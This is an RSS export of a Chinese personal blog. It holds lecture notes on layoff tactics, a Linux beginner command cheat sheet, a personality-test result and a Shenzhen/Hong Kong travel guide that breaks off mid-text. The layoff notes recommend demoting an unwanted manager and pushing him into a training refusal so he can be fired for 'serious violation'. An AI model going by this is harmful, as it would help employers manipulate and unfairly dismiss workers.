<p>问题二<br />Q：公司里有一个签了无固定期的中级管理人员，薪水较高，为节省开支想把他裁掉，但死活不肯协商签字，该怎么办？<br />A：两个途径：一个是揪出他严重违纪。二是指出他不胜任工作。北京发生的实例：一公司年薪30万的管理人员，公司想开掉，又不想搞砸反而赔了夫人又折兵，于是先告诉他，由于不景气现在没有高端的活给他干了，只能去干低层次的活，比如每天输输数据。这个员工多少也拎得清了，知道自己有被炒的危险，于是乖乖输数据。但是百密总有一疏，公司绩效考核发现他输入的错误率偏高了（整天输数据不错才怪）于是要求他参加培训。员工于是去培训，但发现培训对一个中级管理者太傻太侮辱人了，愤怒之下不去培训了。然而一般公司的员工条例里都会规定员工必须参加由公司组织的、有益业务能力的培训活动，于是公司以严重违纪开掉了他。官司打到终院员工输掉了。由此可见，对公司来说裁员时这两个方法要结合着灵活运用。对员工来说，真是防不胜防还是夹紧尾巴做人保险。。。
<p>以上就是讲座笔记，整理得真累。想起礼拜二乘公交的时候听到一个民工打电话说：他们只给开2K，我才不去。我们村里跑长途的不给3K都不去的。好有底气的民工啊，听的我一阵心寒。。。  </p></div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/6/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=6&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2009/03/10/%e8%bd%ac%e8%bd%bd%e8%a3%81%e5%91%98%e4%b8%ad%e7%9a%84%e5%8d%9a%e5%bc%88/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>Linux初学者常用命令</title>
		<link>http://yanxin.wordpress.com/2009/01/10/linux%e5%88%9d%e5%ad%a6%e8%80%85%e5%b8%b8%e7%94%a8%e5%91%bd%e4%bb%a4/</link>
		<comments>http://yanxin.wordpress.com/2009/01/10/linux%e5%88%9d%e5%ad%a6%e8%80%85%e5%b8%b8%e7%94%a8%e5%91%bd%e4%bb%a4/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 12:56:09 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[计算机与 Internet]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2009/01/10/linux%e5%88%9d%e5%ad%a6%e8%80%85%e5%b8%b8%e7%94%a8%e5%91%bd%e4%bb%a4</guid>
		<description><![CDATA[现在的Linux图形管理界面越来越强大了，但是还是有些操作用命令行更方便。 前几天老有人加我QQ问我一些很奇怪的问题，希望有想学习Linux的朋友可以系统的先看一些基本操作方式和常用的命令。至少不用去问别人一些感觉奇怪的问题，这就像一个刚学电脑的朋友问怎么开机一样。不会开机用什么电脑呢？ 在网上找了一份完整一点的Linux初学者常用命令，希望能够帮助到想学习Linux的朋友。 没必要全部都记住，又不是去做网管。稍微明白记住一点就够用了。 下载Linux命令PDF请点击这里 NO 分类 PS1 命令名 用法及参数 功能注解 1 文件管理 # ls ls -a 列出当前目录下的所有文件，包括以.头的隐含文件 文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息 文件管理 # pwd pwd 查看当前所在目录的绝对路经 文件管理 # cd cd .. 回当前目录的上一级目录 文件管理 # cd cd &#8211; &#8230; <a href="http://yanxin.wordpress.com/2009/01/10/linux%e5%88%9d%e5%ad%a6%e8%80%85%e5%b8%b8%e7%94%a8%e5%91%bd%e4%bb%a4/">繼續閱讀 <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=7&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1770" class="bvMsg">
<p>现在的Linux图形管理界面越来越强大了，但是还是有些操作用命令行更方便。<br />
前几天老有人加我QQ问我一些很奇怪的问题，希望有想学习Linux的朋友可以系统的先看一些基本操作方式和常用的命令。至少不用去问别人一些感觉奇怪的问题，这就像一个刚学电脑的朋友问怎么开机一样。不会开机用什么电脑呢？<br />
在网上找了一份完整一点的Linux初学者常用命令，希望能够帮助到想学习Linux的朋友。</p>
<p>没必要全部都记住，又不是去做网管。稍微明白记住一点就够用了。<br />
下载Linux命令PDF请<a href="http://www.box.net/shared/dipgh4kgk4">点击这里</a></p>
<blockquote><p>NO   分类   PS1   命令名   用法及参数   功能注解<br />
1   文件管理   #   ls   ls -a   列出当前目录下的所有文件，包括以.头的隐含文件<br />
   文件管理   #   ls   ls -l或ll   列出当前目录下文件的详细信息<br />
   文件管理   #   pwd   pwd   查看当前所在目录的绝对路经<br />
   文件管理   #   cd   cd ..   回当前目录的上一级目录<br />
   文件管理   #   cd   cd &#8211;   回上一次所在的目录<br />
   文件管理   #   cd   cd ~ 或 cd   回当前用户的宿主目录<br />
   文件管理   #   cd   cd ~用户名   回指定用户的宿主目录<br />
2   文件管理   #   mkdir   mkdir 目录名   创建一个目录<br />
   文件管理   #   mkdir   mkdir –p   递归式去创建一些嵌套目录<br />
   文件管理   #   rmdir   Rmdir 空目录名   删除一个空目录<br />
3   文件管理   #   rm   rm 文件名 文件名   删除一个文件或多个文件<br />
   文件管理   #   rm   rm -rf 非空目录名   递归删除一个非空目录下的一切，不让提式-f<br />
4   文件管理   #   cat   cat文件名   一屏查看文件内容<br />
5   文件管理   #   more   more文件名   分页查看文件内容<br />
6   文件管理   #   less   less 文件名   可控分页查看文件内容<br />
7   文件管理   #   grep   grep字符 文件名   根据字符匹配来查看文件部分内容<br />
8   文件管理   #   mv   mv 路经/文件  /经/文件   移动相对路经下的文件到绝对路经下<br />
   文件管理   #   mv   mv 文件名 新名称   在当前目录下改名<br />
9   文件管理   #   cp   cp /路经/文件  ./   移动绝对路经下的文件到当前目录下<br />
10   文件管理   #   find   find 路经 -name “字符串”   查找路经所在范围内满足字符串匹配的文件和目录<br />
11   文件管理   #   ln   ln 源文件 链接名   创建当前目录源文件的硬链接<br />
   ln /home/test /usr/test1   在/usr下建立/home/test的硬链接<br />
12   文件管理   #   ln   Ln -s a b   创建当前目录下a的符号链接b<br />
13   文件管理   #   touch   touch file1 file2   创建两个空文件<br />
14   磁盘管理   #   df   df   用于报告文件系统的总容量，使用量，剩余容量。<br />
15   磁盘管理   #   du   du -b /home   查看目前/HOME目录的容量(k)及子目录的容量(k)。<br />
16   磁盘管理   #   fdisk   fdisk -l   查看系统分区信息<br />
17   磁盘管理   #   fdisk   fdisk /dev/sdb   为一块新的SCSI硬盘进行分区<br />
18   磁盘管理   #   mkfs.ext3   Mkfs.ext3 /dev/sdb1<br />
   为第一块SCSI硬盘的第一主分区格式化成<br />
ext3的文件系统<br />
         mkfs.ext2   Mkfs.ext2/dev/sdb2    格式化成ext2文件系统<br />
19   磁盘管理   #   mount   mount -t 文件系统类型 设备路经  访问路经<br />
   磁盘管理   #      文件系统类型<br />
            Iso9660   光驱文件系统<br />
            vfat   Fat文件系统(windows)<br />
   挂载光驱   #   mount –t iso9660 /dev/cdrom /mnt/cdrom<br />
   挂载FAT   #   mount –t vfat /dev/hda5 /mnt/cdrom    挂第一个ide的第五个逻辑分区<br />
17   磁盘管理   #   Umount /mnt/cdrom     卸载/mnt/cdrom为空<br />
18   文件权限   #   chmod   chmod u+s file   为file的属主加上特殊权限<br />
            chmod g+r file   为file的属组加上读权限<br />
            chmod o+w file   为file的其它用户加上写权限<br />
            chmod a-x file   为file的所有用户减去执行权限<br />
   chmod 765 file  为file的属主设为完全权限，属组设成读写权，其它用户具有读和执心权限<br />
19   文件权限   #   chown   chown root /home   把/home的属主改成root用户<br />
20   文件权限   #   chgrp   chgrp root /home   把/home的属组改成root组<br />
21   打印管理   #   redhat-config-printer-tui   进入安装打印机界面<br />
22   打印管理   #   lp   lp –d hptr file   打印file到hptr的打印机上<br />
23   打印管理   #   lpq   Lpq –P 打印机名   查看打印机的状态<br />
24   打印管理   #   lprm   Lprm –P 打印机名 a   删除打印机内的打印作业<br />
25   打印管理    #   disable   Disable –r “changing paper” HPtr    禁用打印机并提示原因<br />
26   打印管理   #   enable   Enable HPtr   重新启用被禁用的<br />
27   用户管理   #   useradd   Useradd   创建一个新的用户<br />
28   用户管理   #   groupadd   Groupadd 组名   创建一个新的组<br />
29   用户管理   #   passwd   Passwd 用户名   为用户创建密码<br />
30   用户管理   #   Passwd -d   Passwd -d用户名   删除用户密码也能登陆<br />
31   用户管理   #   Passwd -l   Passwd -l用户名   锁定账号密码<br />
32   用户管理   #   Passwd -u   Passwd -u用户名   解锁账号密码<br />
33   用户管理   #   Passwd -S   Passwd -S用户名   查询账号密码<br />
34   用户管理   #   Usermod -l   Usermod -l 新用户名 老用户名   为用户改名<br />
35   用户管理   #   Usermod -L   Usermod -L 要锁定用户名   锁定用户登陆<br />
36   用户管理   #   Usermod -U   Usermod –U解锁用户名   解锁用户登陆<br />
37   用户管理   #   Usermod -u   Usermod –u 501用户名   改变用户UID<br />
38   用户管理   #   Userdel   Userdel–r 用户名   删除用户一切<br />
39   用户管理   #   Groupmod -n   Groupmod –n新用户名 老用户名   为组改名<br />
40   用户管理   #   Groupmod -g   Groupmod –g 501 组名   改变组GID<br />
41   用户管理   #   groupdel   Groupdel组名    先应删它的用户   删除组<br />
42   用户管理   #   gpasswd -a   gpasswd -a 用户名 组名   增加用户到组<br />
43   用户管理   #   Id    id   用户名   查用户信息<br />
44   软件管理   #   rpm -qa   rpm –qa | less   查询已安装RPM<br />
45   软件管理   #      rpm –qa | grep ftp   查询指定RPM<br />
46   软件管理   #   rpm -q   rpm -q 已安装的RPM包   查是否安装<br />
47   软件管理   #      rpm -q telnet-server   查看telnet服务器包<br />
48   软件管理   #   rpm -qi   rpm –qi 软件包名称   查看软件的描述信息<br />
49   软件管理   #   rpm -ql   rpm –ql软件包名称   查询软件包的文件列表<br />
50   软件管理   #   rpm -qf   rpm –qf软件包名称   查询某个文件所属的软件包<br />
51   软件管理   #   rpm -qp   rpm –qp软件包全名   查询未安装的软件包信息<br />
52   软件管理   #   rpm -e   rpm –e 软件包名称   删除具体的软件包<br />
53   软件管理   #   rpm -U   rpm –Uvh软件包全名   升级软件包并显示过程<br />
54   软件管理   #   rpm -ivh   rpm –ivh 软件包全名   安装软件包并显示过程<br />
55   软件管理   #   rpm -V   rpm –V软件包名称   验证软件包的大小，类型等<br />
56   软件管理   #   tar    -c 创建包 –x 释放包  -v 显示命令过程 –z 代表压缩包<br />
57   软件管理   #   tar -cf   tar –cvf benet.tar /home/benet   把/home/benet目录打包<br />
58   软件管理   #   tar -czf   tar –zcvf benet.tar.gz /mnt   把目录打包并压缩<br />
59   软件管理   #   tar –tf   tar –tf benet.tar   看非压缩包的文件列表<br />
60   软件管理   #   tar –tzf   tar –tf benet.tar.gz   看压缩包的文件列表<br />
61   软件管理   #   tar –xf   tar –xf benet.tar   非压缩包的文件恢复<br />
62   软件管理   #   tar –zxvf   tar –zxvf benet.tar.gz   压缩包的文件解压恢复<br />
63   软件管理   #   tar -jxvf   tar –jxvf benet.tar.bz2<br />
64   软件管理   #   diff   diff file1 file2 &gt; 补丁名.patch   为新旧文件生成补丁文件<br />
65   软件管理   #   diff   diff file1 file2   比较两个文件的区别<br />
66   软件管理   #   Patch    Patch file补丁名.patch   打补丁<br />
67   软件管理   #   ./configure  –prefix=/usr/local/   编译前配置<br />
68   软件管理   #   make   编译<br />
69   软件管理   #   make install   安装编译好的源码包<br />
70   启动管理   #   reboot   Init 6   重启LINUX系统<br />
71   启动管理   #   Halt   Init 0   Shutdown –h now   关闭LINUX系统<br />
72   启动管理   #   runlevel      显示系统运行级<br />
73   启动管理   #   Init [0123456]       改变系统运行级,7种<br />
74   启动管理   #   Chkconfig –-list [服务名称]   查看服务的状态<br />
75   启动管理   #   Chkconfig –-level &lt;运行级&gt; &lt;服务名&gt; on|off|set    设置服务的启动状态<br />
76   启动管理   #   Chkconfig &lt;服务名&gt; on|off|set   设置非独立服务启状态<br />
77   进程管理   #   Top动态   Ps-aux静态   进程树pstree    查看系统进程<br />
78   进程管理   #   程序名 &amp;   后台运行程序<br />
79   进程管理   #   fg   把后台运行的进程调回前台<br />
80   进程管理   #   bg   把前台运行进程调到后台<br />
81   进程管理   #   renice   Renice +1 180    把180号进程的优先级加1<br />
82   进程管理   #   kill   Kill PID    终止某个PID进程<br />
83   进程管理   #   at   at 5pm + 3 days<br />
/bin/ls   指定三天后下午5:00执行/bin/ls<br />
84   进程管理   #   crontab   Crontab -e   用VI的形式来编辑自动周期性任务<br />
85   进程管理   #   crontab   Crontab -l   查看自动周期性任务<br />
86   进程管理   #   crontab   Crontab -r   删除自动周期性任务<br />
87   进程管理   #   crond   Service crond <br />
   马上启动自动周期性服务   Service crond &lt;启动|停止|重启|状态&gt;      </p>
<p>   实现磁盘配额   (注安装LINUX时建立/home分区）<br />
目标：对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额<br />
实现步骤：<br />
1. 修改包含/home的行，  #vi /etc/fstab， 改为：defaults,usrquota。也就是增加usrquota项。然后保存退出。<br />
2、卸载/home目录                           #umount /home<br />
3. 挂接/home目录                           #mount /home<br />
4、增加用户zhao                            #useradd zhao<br />
5、修改密码                                #passwd zhao<br />
6、生成关于/home目录的quota信息           # quotacheck -cmug /home<br />
                                       #quotacheck -vu /home<br />
7、查看所有用户的信息                       #repquota -au<br />
8、设置配额                                 #edquota -u zhao<br />
将soft 和hard 分别改为5和10<br />
9、保存并退出                               #wq!<br />
10、修改时间                                #edquota -t<br />
11、                                        #wq!<br />
12.开启/home上的磁盘配额功能                #quotaon /home<br />
13.查询配额                                 #quota -u zhao<br />
14.验证配额                                 #su &#8211; zhao<br />
                               $touch myfile</p></blockquote>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=7&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2009/01/10/linux%e5%88%9d%e5%ad%a6%e8%80%85%e5%b8%b8%e7%94%a8%e5%91%bd%e4%bb%a4/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>最近大家都在玩这个</title>
		<link>http://yanxin.wordpress.com/2008/12/17/%e6%9c%80%e8%bf%91%e5%a4%a7%e5%ae%b6%e9%83%bd%e5%9c%a8%e7%8e%a9%e8%bf%99%e4%b8%aa/</link>
		<comments>http://yanxin.wordpress.com/2008/12/17/%e6%9c%80%e8%bf%91%e5%a4%a7%e5%ae%b6%e9%83%bd%e5%9c%a8%e7%8e%a9%e8%bf%99%e4%b8%aa/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 16:35:40 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[个人]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2008/12/17/%e6%9c%80%e8%bf%91%e5%a4%a7%e5%ae%b6%e9%83%bd%e5%9c%a8%e7%8e%a9%e8%bf%99%e4%b8%aa</guid>
		<description><![CDATA[我也来玩玩看，感觉大家测出来的都差不多 http://match.lansin.com/cs/zy/pictestzy/pictestzy.html   心灵手巧的工作狂   性格简笔画       当你测试完，蓝心想告诉你，拯救地球的重任落在你的身上了。　　的确，你就是这类人。一直以来你都有个远大的目标，有抱负。低调不是王道，你的魅力迟早会如同漆黑中的萤火虫，散发出光芒。　　你的五星级的好奇心加上你的与生俱来的动手能力，让家长担心家里物件不能摆脱被解剖的命运。你的动手操作能力有时也会给家里的小电器带来新生。　　你喜欢竞争、敢冒风险，挑战来临前觉得期待和激动。　　对于你而言，与其平平淡淡地过小日子，不如轰轰烈烈的去干一番大事。在你一直在寻找机会，一个可以提升自己展示自己的机会　　你注重效率、为人务实。心动不如行动，只要你确定目标，便会脚踏实地去拼搏和实现。而不是整天幻想怎么去花掉福利彩票的500万头奖。 爱情扫描仪        好吧。现在吧你的右手放到圣经上，请告诉我爱情和事业你把什么放在第一位？往往，为了追逐事业的成功，你不会去发现身边谁是那个最可爱的人。　　你还擅长为心爱的人亲手制作小礼物，如幸运星、纸折戒指等，纯手工打造，交友追求最佳良品。蓝心相信，这份原创的浪漫更让你的心上人感动得死去活来。　　当然，情书、情话、鲜花不是你的风格。和你恋爱不会有密集的花前月下，你希望的是对方能和你双剑合璧，一起仗剑天涯。这才是你的爱情宝典。 注意问题       你注重对权力、权威、物质的追求。这些东西对你而言是成功的重要标志。因此在生活和工作中，你可能经常会以利益得失、权利、地位、金钱等来衡量做事的价值。这样会让别人感觉你过于现实，而不能靠得太近。　　应该学会去分享，事业永远不是全部。自我放松，体验平凡而普通大快乐，可能让你大事业更有动力。无论失败或者成功，也许有一天你会发现，与你同行的人，比你想到的地方更为重要。 发展方向        喜欢要求具备经营、管理、劝服、监督和领导才能，以实现机构、政治、社会及经济目标的工作，并具备相应的能力。如项目经理、销售人员，营销管理人员、政府官员、企业领导、法官、律师。<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=8&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1725" class="bvMsg">
<div>我也来玩玩看，感觉大家测出来的都差不多</div>
<div><a href="http://match.lansin.com/cs/zy/pictestzy/pictestzy.html">http://match.lansin.com/cs/zy/pictestzy/pictestzy.html</a></div>
<div> </div>
<div>心灵手巧的工作狂</div>
<div> </div>
<div>性格简笔画</div>
<div>      当你测试完，蓝心想告诉你，拯救地球的重任落在你的身上了。<br />　　的确，你就是这类人。一直以来你都有个远大的目标，有抱负。低调不是王道，你的魅力迟早会如同漆黑中的萤火虫，散发出光芒。<br />　　你的五星级的好奇心加上你的与生俱来的动手能力，让家长担心家里物件不能摆脱被解剖的命运。你的动手操作能力有时也会给家里的小电器带来新生。<br />　　你喜欢竞争、敢冒风险，挑战来临前觉得期待和激动。<br />　　对于你而言，与其平平淡淡地过小日子，不如轰轰烈烈的去干一番大事。在你一直在寻找机会，一个可以提升自己展示自己的机会<br />　　你注重效率、为人务实。心动不如行动，只要你确定目标，便会脚踏实地去拼搏和实现。而不是整天幻想怎么去花掉福利彩票的500万头奖。</div>
<div>爱情扫描仪</div>
<div>       好吧。现在吧你的右手放到圣经上，请告诉我爱情和事业你把什么放在第一位？往往，为了追逐事业的成功，你不会去发现身边谁是那个最可爱的人。<br />　　你还擅长为心爱的人亲手制作小礼物，如幸运星、纸折戒指等，纯手工打造，交友追求最佳良品。蓝心相信，这份原创的浪漫更让你的心上人感动得死去活来。<br />　　当然，情书、情话、鲜花不是你的风格。和你恋爱不会有密集的花前月下，你希望的是对方能和你双剑合璧，一起仗剑天涯。这才是你的爱情宝典。</p>
<p>注意问题</p></div>
<div>      你注重对权力、权威、物质的追求。这些东西对你而言是成功的重要标志。因此在生活和工作中，你可能经常会以利益得失、权利、地位、金钱等来衡量做事的价值。这样会让别人感觉你过于现实，而不能靠得太近。<br />　　应该学会去分享，事业永远不是全部。自我放松，体验平凡而普通大快乐，可能让你大事业更有动力。无论失败或者成功，也许有一天你会发现，与你同行的人，比你想到的地方更为重要。</div>
<div>发展方向</div>
<div>       喜欢要求具备经营、管理、劝服、监督和领导才能，以实现机构、政治、社会及经济目标的工作，并具备相应的能力。如项目经理、销售人员，营销管理人员、政府官员、企业领导、法官、律师。</div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=8&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2008/12/17/%e6%9c%80%e8%bf%91%e5%a4%a7%e5%ae%b6%e9%83%bd%e5%9c%a8%e7%8e%a9%e8%bf%99%e4%b8%aa/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>
	</item>
		<item>
		<title>深圳香港旅游攻略</title>
		<link>http://yanxin.wordpress.com/2008/11/08/%e6%b7%b1%e5%9c%b3%e9%a6%99%e6%b8%af%e6%97%85%e6%b8%b8%e6%94%bb%e7%95%a5/</link>
		<comments>http://yanxin.wordpress.com/2008/11/08/%e6%b7%b1%e5%9c%b3%e9%a6%99%e6%b8%af%e6%97%85%e6%b8%b8%e6%94%bb%e7%95%a5/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 22:37:48 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[个人]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2008/11/08/%e6%b7%b1%e5%9c%b3%e9%a6%99%e6%b8%af%e6%97%85%e6%b8%b8%e6%94%bb%e7%95%a5</guid>
		<description><![CDATA[正好11月要来深圳开一个会，乘着这个机会假公济私，于是乎顺便把深圳香港玩了一圈。不料正巧是万圣节，这里旅游多了一丝节日的气息。除开会议日程，整理出个旅游攻略，也算是造福后人～～～ Day 1直接飞到深圳，然后宾馆入住。这里特别推荐汉庭快捷深圳万象城店（深圳市罗湖区嘉宾路4023号，靠近金威大厦，电话：0755.82471128）。地段特别的好，处于深圳罗湖区的中心位置。交通十分方便，门口金威大厦这里有许多公交车，往西往东步行10分钟以内分别是地铁国贸站和地铁大剧院站。购物的话附近有国贸大厦和万象城，楼下还有一家24小时的7-Eleven。酒店工作人员也挺热情的，总是在对你微笑。 Day 2早上起床后搭乘地铁大剧院站到时间之窗站。出来就可以看到大大的世界之窗几个字。不过推荐还是先去欢乐谷，毕竟有些游乐项目下午后排队会人比较多。欢乐谷里面玩的东西很一般，特别是对于准备去香港迪斯尼或者海洋公园的人来说这个都可以省略掉。不过里面的一个叫地道战的演出很不错，加上观众互动，非常搞笑，不过每天只有两场。这里感觉来玩的人素质不是特别高，插队现象还是很严重的。欢乐谷出来后来到世界之窗，这里是一些地方的微缩模型，做的也挺一般。很搞笑的是为了配合万圣节活动，这里把科罗拉多大峡谷里面放满了骷髅&#8230;&#8230;.囧rz&#8230;&#8230;还有一点是这里可是拍出金字塔与埃菲尔铁塔同在一张照片里面的效果哦，照相爱好者不容错过。PS:这里虽然有学生票出售，不过只针对深圳当地大学的大学生们，歧视啊～～～ Day 3早上起来后去酒店旁边的金威大厦2楼迎海渔港尝试了下广东早茶，这里很网上评价的果然一样，价格很实惠而且味道很不错。服务员也很热情，不过给我们推荐的东西太多了，没有吃完&#8230;&#8230;中午酒店退房后来到罗湖过关，顺便办了张八达通卡，至少先充HK150，本来还以为用不完，结果后来发现还不够用。香港这边订房可以说不幸又万幸。这几天正巧万圣节，加上有3，4个展会同时举行，市中心的酒店要么定不到，要么价格高的离谱（比平时翻了一倍）。正好网上有人代订荃湾如心海景，一间夜不到500。于是就定了那里。这里还是要推荐一下的，酒店很豪华，5星的标准，下午入住后差点被里面的设施给震撼了（我是个土人），从42楼往下望风景格外不错（如果是海景就更好了）。离地铁荃湾西5分钟的路程，除了上网收费费用有点离谱外其他一切都很完美。宾馆入住后终于摆脱了沉重的背包，然后乘着天色尚早，乘地铁来到旺角。顺着弥敦道慢慢往南闲逛，路上看到一家卖叉烧的小店似乎人挺多的，就进去尝试一下，果然这里叉烧味道不同凡响。出来后又碰到顺义牛奶公司，里面的双皮奶自然也不能放过。快到油麻地时偶遇一家中华书局，跑到里面逛了一下，感慨这里真是什么书都有啊。出来后不想继续在地底穿行了，于是开始找公交车站，这几开往尖沙咀的巴士还是挺多的，随便上了一辆往尖沙咀码头的方向去了。到了尖沙咀码头的时候正好有一个激光束的表演（有点类似浦东的楼上打的激光，不过这里有音乐和解说），RP还是很不错。看完表演顺着码头很快就可以来到星光大道，地上有很多香港明星的名牌，大家开始纷纷来找自己认识的合影。逛完这里后来到码头搭乘天星小轮过海到中环码头。中环感觉类似浦东的陆家嘴，是个金融中心。来的时候挺晚了，大厦基本上都关门了。不过还是看到了传说的中银香港大厦和汇丰大厦，据说这两个楼还有一段风水学上的渊源，仔细一看汇丰楼上的那两个东西还真象两把手枪。夜晚十分虽然看不到商业气息，不过确实去酒吧的好时机，于是就来到兰桂坊。这里十分热闹，喝酒聊天的人们把酒吧80%以上的位置都占满了，转了转发现我们其实也不是那种喜欢泡吧的人，于是拍了几张照片后回到了酒店。 Day 